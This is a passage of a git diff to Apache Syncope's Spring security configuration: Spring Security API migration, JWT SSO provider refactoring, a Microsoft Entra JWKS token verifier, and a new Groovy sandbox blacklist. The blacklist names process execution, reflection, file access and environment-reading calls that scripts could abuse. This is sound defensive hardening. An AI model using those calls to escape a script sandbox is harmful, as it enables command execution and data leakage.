com.fasterxml.uuid.NoArgGenerator; import java.security.SecureRandom; import java.util.UUID; import org.apache.commons.text.RandomStringGenerator; @@ -35,19 +35,19 @@ public final class SecureRandomUtils { usingRandom(RANDOM::nextInt). withinRange('0', 'z'). filteredBy(Character::isLetterOrDigit). - build(); + get(); private static final RandomStringGenerator FOR_LETTERS = new RandomStringGenerator.Builder(). usingRandom(RANDOM::nextInt). withinRange('a', 'z'). - build(); + get(); private static final RandomStringGenerator FOR_NUMBERS = new RandomStringGenerator.Builder(). usingRandom(RANDOM::nextInt). withinRange('0', '9'). - build(); + get(); - private static final RandomBasedGenerator UUID_GENERATOR = Generators.randomBasedGenerator(RANDOM); + private static final NoArgGenerator UUID_GENERATOR = Generators.timeBasedEpochGenerator(RANDOM); public static String generateRandomPassword(final int tokenLength) { return FOR_PASSWORD.generate(tokenLength); @@ -75,7 +75,11 @@ public static String generateRandomNonAlphanumericChar(final char[] characters) } return found; - }).build().generate(1); + }).get().generate(1); + } + + public static int generateRandomInt(final int startInclusive, final int endExclusive) { + return startInclusive + RANDOM.nextInt(endExclusive - startInclusive); } public static UUID generateRandomUUID() { diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java index 486ab1612dd..a1ccb95e637 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java @@ -21,41 +21,51 @@ import com.nimbusds.jose.JOSEException; import com.nimbusds.jose.JWSAlgorithm; import com.nimbusds.jose.KeyLengthException; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.Reader; import java.security.NoSuchAlgorithmException; import java.security.spec.InvalidKeySpecException; +import java.util.Optional; import org.apache.syncope.common.lib.types.CipherAlgorithm; +import org.apache.syncope.core.persistence.api.dao.AccessTokenDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.provisioning.api.rules.RuleEnforcer; import org.apache.syncope.core.spring.ApplicationContextProvider; +import org.apache.syncope.core.spring.policy.DefaultRuleEnforcer; import org.apache.syncope.core.spring.security.jws.AccessTokenJWSSigner; import org.apache.syncope.core.spring.security.jws.AccessTokenJWSVerifier; +import org.jenkinsci.plugins.scriptsecurity.sandbox.blacklists.Blacklist; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.config.BeanDefinition; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.EnableAspectJAutoProxy; +import org.springframework.context.annotation.Role; +import org.springframework.core.io.ResourceLoader; import org.springframework.security.config.core.GrantedAuthorityDefaults; @EnableConfigurationProperties(SecurityProperties.class) +@EnableAspectJAutoProxy(proxyTargetClass = false) @Configuration(proxyBeanMethods = false) public class SecurityContext { private static final Logger LOG = LoggerFactory.getLogger(SecurityContext.class); + @Role(BeanDefinition.ROLE_INFRASTRUCTURE) @Bean - public CipherAlgorithm adminPasswordAlgorithm(final SecurityProperties props) { - return props.getAdminPasswordAlgorithm(); - } - - @Bean - public JWSAlgorithm jwsAlgorithm(final SecurityProperties props) { - return JWSAlgorithm.parse(props.getJwsAlgorithm().toUpperCase()); + public static GrantedAuthorityDefaults grantedAuthorityDefaults() { + return new GrantedAuthorityDefaults(""); // Remove the ROLE_ prefix } - private static String jwsKey(final JWSAlgorithm jwsAlgorithm, final SecurityProperties props) { - String jwsKey = props.getJwsKey(); - if (jwsKey == null) { - throw new IllegalArgumentException("No JWS key provided"); - } + protected static String jwsKey(final JWSAlgorithm jwsAlgorithm, final SecurityProperties props) { + String jwsKey = Optional.ofNullable(props.getJwsKey()). + orElseThrow(() -> new IllegalArgumentException("No JWS key provided")); if (JWSAlgorithm.Family.HMAC_SHA.contains(jwsAlgorithm)) { int minLength = jwsAlgorithm.equals(JWSAlgorithm.HS256) @@ -74,6 +84,16 @@ private static String jwsKey(final JWSAlgorithm jwsAlgorithm, final SecurityProp return jwsKey; } + @Bean + public CipherAlgorithm adminPasswordAlgorithm(final SecurityProperties props) { + return props.getAdminPasswordAlgorithm(); + } + + @Bean + public JWSAlgorithm jwsAlgorithm(final SecurityProperties props) { + return JWSAlgorithm.parse(props.getJwsAlgorithm().toUpperCase()); + } + @ConditionalOnMissingBean @Bean public DefaultCredentialChecker credentialChecker( @@ -106,19 +126,43 @@ public AccessTokenJWSSigner accessTokenJWSSigner( return new AccessTokenJWSSigner(jwsAlgorithm, jwsKey(jwsAlgorithm, props)); } + @ConditionalOnMissingBean + @Bean + public SyncopeJWTSSOProvider syncopeJWTSSOProvider( + final SecurityProperties props, + final AccessTokenJWSVerifier accessTokenJWSVerifier, + final UserDAO userDAO, + final AccessTokenDAO accessTokenDAO) { + + return new SyncopeJWTSSOProvider(props, accessTokenJWSVerifier, userDAO, accessTokenDAO); + } + @ConditionalOnMissingBean @Bean public PasswordGenerator passwordGenerator() { return new DefaultPasswordGenerator(); } + @ConditionalOnMissingBean @Bean - public GrantedAuthorityDefaults grantedAuthorityDefaults() { - return new GrantedAuthorityDefaults(""); // Remove the ROLE_ prefix + public RuleEnforcer ruleEnforcer(final RealmDAO realmDAO) { + return new DefaultRuleEnforcer(realmDAO); } @Bean public ApplicationContextProvider applicationContextProvider() { return new ApplicationContextProvider(); } + + @ConditionalOnMissingBean + @Bean + public Blacklist groovyBlackList(final ResourceLoader resourceLoader, final SecurityProperties props) + throws IOException { + + try (InputStream in = resourceLoader.getResource(props.getGroovyBlacklist()).getInputStream(); + Reader reader = new InputStreamReader(in)) { + + return new Blacklist(reader); + } + } } diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java index 734fba8d65a..002c2fa3b54 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java @@ -98,7 +98,9 @@ public void setUseLenientSaltSizeCheck(final boolean useLenientSaltSizeCheck) { private String jwsAlgorithm = JWSAlgorithm.HS512.getName(); - private String secretKey; + private String aesSecretKey; + + private String groovyBlacklist = "classpath:META-INF/groovy.blacklist"; private final DigesterProperties digester = new DigesterProperties(); @@ -166,12 +168,20 @@ public void setJwsAlgorithm(final String jwsAlgorithm) { this.jwsAlgorithm = jwsAlgorithm; } - public String getSecretKey() { - return secretKey; + public String getAesSecretKey() { + return aesSecretKey; + } + + public void setAesSecretKey(final String aesSecretKey) { + this.aesSecretKey = aesSecretKey; + } + + public String getGroovyBlacklist() { + return groovyBlacklist; } - public void setSecretKey(final String secretKey) { - this.secretKey = secretKey; + public void setGroovyBlacklist(final String groovyBlacklist) { + this.groovyBlacklist = groovyBlacklist; } public DigesterProperties getDigester() { diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SyncopeJWTSSOProvider.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SyncopeJWTSSOProvider.java index ebf5d815f9f..65b3e064a9a 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SyncopeJWTSSOProvider.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SyncopeJWTSSOProvider.java @@ -25,6 +25,7 @@ import com.nimbusds.jose.jca.JCAContext; import com.nimbusds.jose.util.Base64URL; import com.nimbusds.jwt.JWTClaimsSet; +import java.util.Optional; import java.util.Set; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.types.CipherAlgorithm; @@ -36,7 +37,7 @@ import org.apache.syncope.core.spring.security.jws.AccessTokenJWSVerifier; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.authentication.AuthenticationCredentialsNotFoundException; import org.springframework.transaction.annotation.Transactional; /** @@ -44,21 +45,27 @@ */ public class SyncopeJWTSSOProvider implements JWTSSOProvider { - private static final Logger LOG = LoggerFactory.getLogger(SyncopeJWTSSOProvider.class); + protected static final Logger LOG = LoggerFactory.getLogger(SyncopeJWTSSOProvider.class); - private static final Encryptor ENCRYPTOR = Encryptor.getInstance(); + protected final SecurityProperties securityProperties; - @Autowired - private SecurityProperties securityProperties; + protected final AccessTokenJWSVerifier delegate; - @Autowired - private AccessTokenJWSVerifier delegate; + protected final UserDAO userDAO; - @Autowired - private UserDAO userDAO; + protected final AccessTokenDAO accessTokenDAO; - @Autowired - private AccessTokenDAO accessTokenDAO; + public SyncopeJWTSSOProvider( + final SecurityProperties securityProperties, + final AccessTokenJWSVerifier delegate, + final UserDAO userDAO, + final AccessTokenDAO accessTokenDAO) { + + this.securityProperties = securityProperties; + this.delegate = delegate; + this.userDAO = userDAO; + this.accessTokenDAO = accessTokenDAO; + } @Override public String getIssuer() { @@ -87,22 +94,22 @@ public boolean verify( @Transactional(readOnly = true) @Override public Pair> resolve(final JWTClaimsSet jwtClaims) { - User user = userDAO.findByUsername(jwtClaims.getSubject()); + AccessToken accessToken = Optional.ofNullable(accessTokenDAO.find(jwtClaims.getJWTID())). + orElseThrow(() -> new AuthenticationCredentialsNotFoundException( + "Could not find an Access Token for JWT " + jwtClaims.getJWTID())); + Set authorities = Set.of(); - if (user != null) { - AccessToken accessToken = accessTokenDAO.find(jwtClaims.getJWTID()); - if (accessToken != null && accessToken.getAuthorities() != null) { - try { - authorities = POJOHelper.deserialize( - ENCRYPTOR.decode(new String(accessToken.getAuthorities()), CipherAlgorithm.AES), - new TypeReference<>() { - }); - } catch (Throwable t) { - LOG.error("Could not read stored authorities", t); - } + if (accessToken.getAuthorities() != null) { + try { + authorities = POJOHelper.deserialize( + Encryptor.getInstance().decode(new String(accessToken.getAuthorities()), CipherAlgorithm.AES), + new TypeReference<>() { + }); + } catch (Throwable t) { + LOG.error("Could not read stored authorities", t); } } - return Pair.of(user, authorities); + return Pair.of(userDAO.findByUsername(jwtClaims.getSubject()), authorities); } } diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/UsernamePasswordAuthenticationProvider.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/UsernamePasswordAuthenticationProvider.java index d6e0acb80fe..53f51a659bf 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/UsernamePasswordAuthenticationProvider.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/UsernamePasswordAuthenticationProvider.java @@ -42,8 +42,6 @@ public class UsernamePasswordAuthenticationProvider implements AuthenticationPro protected static final Logger LOG = LoggerFactory.getLogger(UsernamePasswordAuthenticationProvider.class); - protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - protected final DomainOps domainOps; protected final AuthDataAccessor dataAccessor; @@ -97,12 +95,12 @@ public Authentication authenticate(final Authentication authentication) { username.set(securityProperties.getAdminUser()); if (SyncopeConstants.MASTER_DOMAIN.equals(domain.getKey())) { credentialChecker.checkIsDefaultAdminPasswordInUse(); - authenticated = ENCRYPTOR.verify( + authenticated = Encryptor.getInstance().verify( authentication.getCredentials().toString(), securityProperties.getAdminPasswordAlgorithm(), securityProperties.getAdminPassword()); } else { - authenticated = ENCRYPTOR.verify( + authenticated = Encryptor.getInstance().verify( authentication.getCredentials().toString(), domain.getAdminCipherAlgorithm(), domain.getAdminPassword()); diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/WebSecurityContext.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/WebSecurityContext.java index 938a2b67094..0b6bb0ba870 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/WebSecurityContext.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/WebSecurityContext.java @@ -18,9 +18,10 @@ */ package org.apache.syncope.core.spring.security; +import java.util.List; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.common.keymaster.client.api.DomainOps; -import org.apache.syncope.core.persistence.api.ImplementationLookup; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.core.persistence.api.dao.AccessTokenDAO; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.DelegationDAO; @@ -33,39 +34,28 @@ import org.apache.syncope.core.provisioning.api.MappingManager; import org.apache.syncope.core.provisioning.api.UserProvisioningManager; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; -import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; -import org.springframework.security.authentication.AnonymousAuthenticationProvider; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; -import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; +import org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityCustomizer; -import org.springframework.security.config.http.SessionCreationPolicy; -import org.springframework.security.core.authority.AuthorityUtils; -import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer; import org.springframework.security.web.SecurityFilterChain; import org.springframework.security.web.access.AccessDeniedHandler; -import org.springframework.security.web.access.intercept.FilterSecurityInterceptor; -import org.springframework.security.web.authentication.AnonymousAuthenticationFilter; +import org.springframework.security.web.access.intercept.AuthorizationFilter; import org.springframework.security.web.authentication.www.BasicAuthenticationFilter; -import org.springframework.security.web.context.NullSecurityContextRepository; import org.springframework.security.web.firewall.DefaultHttpFirewall; import org.springframework.security.web.firewall.HttpFirewall; +import org.springframework.security.web.util.matcher.AntPathRequestMatcher; @EnableWebSecurity -@EnableGlobalMethodSecurity(prePostEnabled = true) +@EnableMethodSecurity(prePostEnabled = true) @Configuration(proxyBeanMethods = false) public class WebSecurityContext { - private static final String ANONYMOUS_BEAN_KEY = "doesNotMatter"; - - public WebSecurityContext() { - SecurityContextHolder.setStrategyName(SecurityContextHolder.MODE_INHERITABLETHREADLOCAL); - } - @Bean public HttpFirewall allowUrlEncodedSlashHttpFirewall() { DefaultHttpFirewall firewall = new DefaultHttpFirewall(); @@ -82,55 +72,46 @@ public WebSecurityCustomizer webSecurityCustomizer(final HttpFirewall allowUrlEn public SecurityFilterChain filterChain( final HttpSecurity http, final UsernamePasswordAuthenticationProvider usernamePasswordAuthenticationProvider, - final JWTAuthenticationProvider jwtAuthenticationProvider, - final SecurityProperties securityProperties, - final ApplicationContext ctx) throws Exception { + final AccessDeniedHandler accessDeniedHandler, + final AuthDataAccessor dataAccessor, + final DefaultCredentialChecker defaultCredentialChecker) throws Exception { AuthenticationManager authenticationManager = http.getSharedObject(AuthenticationManagerBuilder.class). + parentAuthenticationManager(null). authenticationProvider(usernamePasswordAuthenticationProvider). - authenticationProvider(jwtAuthenticationProvider). build(); + http.authenticationManager(authenticationManager); SyncopeAuthenticationDetailsSource authenticationDetailsSource = new SyncopeAuthenticationDetailsSource(); - AnonymousAuthenticationProvider anonymousAuthenticationProvider = - new AnonymousAuthenticationProvider(ANONYMOUS_BEAN_KEY); - AnonymousAuthenticationFilter anonymousAuthenticationFilter = - new AnonymousAuthenticationFilter( - ANONYMOUS_BEAN_KEY, - securityProperties.getAnonymousUser(), - AuthorityUtils.createAuthorityList("ROLE_ANONYMOUS")); - anonymousAuthenticationFilter.setAuthenticationDetailsSource(authenticationDetailsSource); - SyncopeBasicAuthenticationEntryPoint basicAuthenticationEntryPoint = new SyncopeBasicAuthenticationEntryPoint(); basicAuthenticationEntryPoint.setRealmName("Apache Syncope authentication"); + http.httpBasic(customizer -> customizer. + authenticationEntryPoint(basicAuthenticationEntryPoint). + authenticationDetailsSource(authenticationDetailsSource)); JWTAuthenticationFilter jwtAuthenticationFilter = new JWTAuthenticationFilter( authenticationManager, basicAuthenticationEntryPoint, authenticationDetailsSource, - ctx.getBean(AuthDataAccessor.class), - ctx.getBean(DefaultCredentialChecker.class)); + dataAccessor, + defaultCredentialChecker); + http.addFilterBefore(jwtAuthenticationFilter, BasicAuthenticationFilter.class); MustChangePasswordFilter mustChangePasswordFilter = new MustChangePasswordFilter(); - - http.authenticationManager(authenticationManager). - authorizeRequests(). - antMatchers("/**").permitAll().and(). - sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS).and(). - securityContext().securityContextRepository(new NullSecurityContextRepository()).and(). - anonymous(). - authenticationProvider(anonymousAuthenticationProvider). - authenticationFilter(anonymousAuthenticationFilter).and(). - httpBasic().authenticationEntryPoint(basicAuthenticationEntryPoint). - authenticationDetailsSource(authenticationDetailsSource).and(). - exceptionHandling().accessDeniedHandler(accessDeniedHandler()).and(). - addFilterBefore(jwtAuthenticationFilter, BasicAuthenticationFilter.class). - addFilterBefore(mustChangePasswordFilter, FilterSecurityInterceptor.class). - headers().disable(). - csrf().disable(); + http.addFilterBefore(mustChangePasswordFilter, AuthorizationFilter.class); + + http.authorizeHttpRequests(customizer -> customizer. + requestMatchers(AntPathRequestMatcher.antMatcher("/actuator/**")). + hasAuthority(IdRepoEntitlement.ANONYMOUS). + requestMatchers(AntPathRequestMatcher.antMatcher("/**")).permitAll()); + http.securityContext(AbstractHttpConfigurer::disable); + http.sessionManagement(AbstractHttpConfigurer::disable); + http.headers(AbstractHttpConfigurer::disable); + http.csrf(AbstractHttpConfigurer::disable); + http.exceptionHandling(customizer -> customizer.accessDeniedHandler(accessDeniedHandler)); return http.build(); } @@ -152,12 +133,6 @@ public UsernamePasswordAuthenticationProvider usernamePasswordAuthenticationProv securityProperties); } - @ConditionalOnMissingBean - @Bean - public JWTAuthenticationProvider jwtAuthenticationProvider(final AuthDataAccessor authDataAccessor) { - return new JWTAuthenticationProvider(authDataAccessor); - } - @Bean public AccessDeniedHandler accessDeniedHandler() { return new SyncopeAccessDeniedHandler(); @@ -178,7 +153,7 @@ public AuthDataAccessor authDataAccessor( final ConnectorManager connectorManager, final AuditManager auditManager, final MappingManager mappingManager, - final ImplementationLookup implementationLookup) { + final List jwtSSOProviders) { return new AuthDataAccessor( securityProperties, @@ -193,6 +168,6 @@ public AuthDataAccessor authDataAccessor( connectorManager, auditManager, mappingManager, - implementationLookup); + jwtSSOProviders); } } diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/jws/MSEntraAccessTokenJWSVerifier.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/jws/MSEntraAccessTokenJWSVerifier.java new file mode 100644 index 00000000000..76eaa3f940e --- /dev/null +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/jws/MSEntraAccessTokenJWSVerifier.java @@ -0,0 +1,222 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.security.jws; + +import com.fasterxml.jackson.databind.json.JsonMapper; +import com.github.benmanes.caffeine.cache.CacheLoader; +import com.github.benmanes.caffeine.cache.Caffeine; +import com.github.benmanes.caffeine.cache.LoadingCache; +import com.nimbusds.jose.JOSEException; +import com.nimbusds.jose.JWSAlgorithm; +import com.nimbusds.jose.JWSHeader; +import com.nimbusds.jose.JWSVerifier; +import com.nimbusds.jose.crypto.ECDSAVerifier; +import com.nimbusds.jose.crypto.RSASSAVerifier; +import com.nimbusds.jose.jca.JCAAware; +import com.nimbusds.jose.jca.JCAContext; +import com.nimbusds.jose.jwk.AsymmetricJWK; +import com.nimbusds.jose.jwk.JWK; +import com.nimbusds.jose.jwk.JWKSet; +import com.nimbusds.jose.util.Base64URL; +import java.io.IOException; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.security.PublicKey; +import java.security.interfaces.ECPublicKey; +import java.security.interfaces.RSAPublicKey; +import java.text.ParseException; +import java.time.Duration; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class MSEntraAccessTokenJWSVerifier implements JWSVerifier { + + protected static final Logger LOG = LoggerFactory.getLogger(MSEntraAccessTokenJWSVerifier.class); + + protected final String tenantId; + + protected final String appId; + + protected final Duration cacheExpireAfterWrite; + + protected final HttpClient httpClient; + + protected final JsonMapper jsonMapper; + + protected final LoadingCache verifiersCache; + + public MSEntraAccessTokenJWSVerifier( + final String tenantId, + final String appId, + final Duration cacheExpireAfterWrite) { + + this.tenantId = tenantId; + this.appId = appId; + this.cacheExpireAfterWrite = cacheExpireAfterWrite; + + this.httpClient = HttpClient.newHttpClient(); + this.jsonMapper = JsonMapper.builder().findAndAddModules().build(); + + /* + * At any given point in time, Entra ID (formerly: Azure AD) may sign an ID token using + * any one of a certain set of public-private key pairs. Entra ID rotates the possible + * set of keys on a periodic basis, so the application should be written to handle those + * key changes automatically. A reasonable frequency to check for updates to the public + * keys used by Entra ID is every 24 hours. + */ + this.verifiersCache = Caffeine.newBuilder(). + expireAfterWrite(cacheExpireAfterWrite). + build(new CacheLoader<>() { + + @Override + public JWSVerifier load(final String key) { + return loadAll(Set.of(key)).get(key); + } + + @Override + public Map loadAll(final Iterable keys) { + // Ignore keys argument, as we have to fetch the full JSON Web Key Set + String openIdDocUrl = getOpenIDMetadataDocumentUrl(); + String openIdDoc = fetchDocument(openIdDocUrl); + String jwksUri = extractJwksUri(openIdDoc); + String jwks = fetchDocument(jwksUri); + + return parseJsonWebKeySet(jwks); + } + }); + } + + protected String getOpenIDMetadataDocumentUrl() { + return String.format( + "https://login.microsoftonline.com/%s/.well-known/openid-configuration%s", + Optional.ofNullable(tenantId).orElse("common"), + Optional.ofNullable(appId).map(i -> String.format("?appid=%s", i)).orElse("")); + } + + protected String extractJwksUri(final String openIdMetadataDocument) { + try { + return jsonMapper.readTree(openIdMetadataDocument).get("jwks_uri").asText(); + } catch (IOException e) { + throw new IllegalArgumentException("Extracting value of 'jwks_url' key from OpenID Metadata JSON document" + + " for Microsoft Entra failed:", e); + } + } + + protected String fetchDocument(final String url) { + HttpResponse response; + try { + response = httpClient.send( + HttpRequest.newBuilder().uri(URI.create(url)).build(), + HttpResponse.BodyHandlers.ofString()); + if (response.statusCode() >= 400) { + throw new IllegalStateException(String.format("Received HTTP status code %d", response.statusCode())); + } + return response.body(); + } catch (IOException | InterruptedException | IllegalStateException e) { + throw new IllegalStateException( + String.format("Fetching JSON document for Microsoft Entra from '%s' failed:", url), e); + } + } + + protected Map parseJsonWebKeySet(final String jsonWebKeySet) { + List fetchedKeys; + try { + fetchedKeys = JWKSet.parse(jsonWebKeySet).getKeys(); + } catch (ParseException e) { + throw new IllegalArgumentException("Parsing JSON Web Key Set for MS Entra failed:", e); + } + + Map verifiers = new HashMap<>(); + for (JWK key : fetchedKeys) { + if (!(key instanceof AsymmetricJWK)) { + LOG.warn( + "Skipped non-asymmetric JSON Web Key with key id '{}' from retrieved JSON Web Key Set " + + "for Microsoft Entra", key.getKeyID()); + continue; + } + + try { + PublicKey pubKey = ((AsymmetricJWK) key).toPublicKey(); + if (pubKey instanceof RSAPublicKey) { + verifiers.put( + key.getKeyID(), + new RSASSAVerifier((RSAPublicKey) pubKey)); + } else if (pubKey instanceof ECPublicKey) { + verifiers.put( + key.getKeyID(), + new ECDSAVerifier((ECPublicKey) pubKey)); + } + } catch (JOSEException e) { + throw new IllegalArgumentException( + "Extracting public key from asymmetric JSON Web Key from retrieved JSON Web Key Set for" + + " Microsoft Entra failed:", e); + } + } + + return verifiers; + } + + protected Map getAllFromCache() { + // Ensure cache is populated and gets refreshed, if expired + verifiersCache.getAll(Set.of(StringUtils.EMPTY)); + + return verifiersCache.asMap(); + } + + @Override + public Set supportedJWSAlgorithms() { + return getAllFromCache(). + values().stream(). + flatMap(jwsVerifier -> jwsVerifier.supportedJWSAlgorithms().stream()). + collect(Collectors.toSet()); + } + + @Override + public JCAContext getJCAContext() { + return getAllFromCache(). + values().stream(). + map(JCAAware::getJCAContext). + findFirst(). + orElseThrow(() -> new IllegalStateException("JSON Web Key Set cache for Microsoft Entra is empty")); + } + + @Override + public boolean verify( + final JWSHeader header, + final byte[] signingInput, + final Base64URL signature) throws JOSEException { + + String keyId = header.getKeyID(); + JWSVerifier delegate = Optional.ofNullable(verifiersCache.get(keyId)). + orElseThrow(() -> new JOSEException( + String.format("Microsoft Entra JSON Web Key Set cache could not retrieve a public key for " + + "given key id '%s'", keyId))); + + return delegate.verify(header, signingInput, signature); + } +} diff --git a/core/spring/src/main/resources/META-INF/groovy.blacklist b/core/spring/src/main/resources/META-INF/groovy.blacklist new file mode 100644 index 00000000000..85292bc6085 --- /dev/null +++ b/core/spring/src/main/resources/META-INF/groovy.blacklist @@ -0,0 +1,112 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +# Reflective access to Groovy +method groovy.lang.GroovyObject getMetaClass +method groovy.lang.GroovyObject getProperty java.lang.String +method groovy.lang.GroovyObject invokeMethod java.lang.String java.lang.Object +method groovy.lang.GroovyObject setMetaClass groovy.lang.MetaClass +method groovy.lang.GroovyObject setProperty java.lang.String java.lang.Object + +# Raw file operations +staticMethod java.io.File createTempFile java.lang.String java.lang.String +staticMethod java.io.File createTempFile java.lang.String java.lang.String java.io.File +new java.io.File java.lang.String +new java.io.File java.lang.String java.lang.String +new java.io.File java.net.URI +staticMethod java.io.File listRoots +new java.io.FileInputStream java.lang.String +new java.io.FileOutputStream java.lang.String +new java.io.FileOutputStream java.lang.String boolean +new java.io.FileReader java.lang.String +new java.io.FileWriter java.lang.String +new java.io.FileWriter java.lang.String boolean +new java.io.PrintStream java.lang.String +new java.io.PrintStream java.lang.String java.lang.String +new java.io.PrintWriter java.lang.String +new java.io.PrintWriter java.lang.String java.lang.String +new java.io.RandomAccessFile java.lang.String java.lang.String + +# No reflection! +method java.lang.Class getConstructor java.lang.Class[] +method java.lang.Class getConstructors +method java.lang.Class getDeclaredConstructor java.lang.Class[] +method java.lang.Class getDeclaredConstructors +method java.lang.Class getDeclaredField java.lang.String +method java.lang.Class getDeclaredFields +method java.lang.Class getDeclaredMethod java.lang.String java.lang.Class[] +method java.lang.Class getDeclaredMethods +method java.lang.Class getField java.lang.String +method java.lang.Class getFields +method java.lang.Class getMethod java.lang.String java.lang.Class[] +method java.lang.Class getMethods +method java.lang.Class getResource java.lang.String +method java.lang.Class getResourceAsStream java.lang.String +method java.lang.Class newInstance + +# Same for local process execution. +new java.lang.ProcessBuilder java.lang.String[] +new java.lang.ProcessBuilder java.util.List +method java.lang.Process start +staticMethod java.lang.Runtime getRuntime +staticMethod java.lang.System exit int + +# Leak information. +staticMethod java.lang.System getProperties +staticMethod java.lang.System getProperty java.lang.String +staticMethod java.lang.System getProperty java.lang.String java.lang.String +staticMethod java.lang.System getenv +staticMethod java.lang.System getenv java.lang.String +staticMethod java.lang.System nanoTime +staticMethod java.lang.System setProperty java.lang.String java.lang.String + +# Could be used to read local files. +method java.net.URL getContent +method java.net.URL getContent java.lang.Class[] +method java.net.URL openConnection +method java.net.URL openStream + +# NIO file operations must start with a Path: +staticMethod java.nio.file.Paths get java.lang.String java.lang.String[] +staticMethod java.nio.file.Paths get java.net.URI + +# More process execution, Groovy-style: +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String java.lang.String[] java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String java.util.List java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String[] +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String[] java.lang.String[] java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String[] java.util.List java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.util.List +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.util.List java.lang.String[] java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.util.List java.util.List java.io.File + +# JSON +staticMethod groovy.json.JsonOutput toJson groovy.lang.Closure +staticMethod groovy.json.JsonOutput toJson java.lang.Object + +# SECURITY-538 +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods getAt java.lang.Object java.lang.String +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods getMetaPropertyValues java.lang.Object +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods getProperties java.lang.Object +staticMethod 